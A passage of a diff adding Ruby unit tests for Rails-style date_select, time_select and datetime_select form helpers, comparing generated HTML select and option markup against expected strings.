+    expected << "<select id='post_written_on_2i' name='post[written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
+    expected << "<select id='post_written_on_3i' name='post[written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_with_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 456
+
+    expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :index => id)
+  end
+
+  def test_date_select_with_auto_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 123
+
+    expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post[]", "written_on")
+  end
+
+  def test_date_select_with_different_order
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected =  %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected <<  %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order => [:day, :month, :year])
+  end
+
+  def test_date_select_with_nil
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on")
+  end
+
+  def test_date_select_with_nil_and_blank
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
+  end
+  
+  def test_date_select_with_nil_and_blank_and_order
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+    
+    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i"/>' + "\n"
+    expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_order
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+
+    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i"/>' + "\n"
+    expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
+  end
+
+  def test_date_select_cant_override_discard_hour
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :discard_hour => false)
+  end
+
+  def test_date_select_with_html_options
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", {}, :class => 'selector')
+  end
+
+  def test_date_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    fields_for :post, @post do |f|
+      concat f.date_select(:written_on, {}, :class => 'selector')
+    end
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_date_select_with_separator
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
+  end
+
+  def test_time_select
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on")
+  end
+
+  def test_time_select_without_date_hidden_fields
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :ignore_date => true)
+  end
+
+  def test_time_select_with_seconds
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :include_seconds => true)
+  end
+
+  def test_time_select_with_html_options
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", {}, :class => 'selector')
+  end
+
+  def test_time_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    fields_for :post, @post do |f|
+      concat f.time_select(:written_on, {}, :class => 'selector')
+    end
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_time_select_with_separator
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
+  end
+
+  def test_datetime_select
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at")
+  end
+
+  uses_mocha 'TestDatetimeSelectDefaultsToTimeZoneNowWhenConfigTimeZoneIsSet' do
+    def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
+      time = stub(:year => 2004, :month => 6, :day => 15, :hour => 16, :min => 35, :sec => 0)
+      time_zone = mock()
+      time_zone.expects(:now).returns time
+      Time.zone_default = time_zone
+      @post = Post.new
+
+      expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+      expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+      expected << "</select>\n"
+
+      expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+      expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+      expected << "</select>\n"
+
+      expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
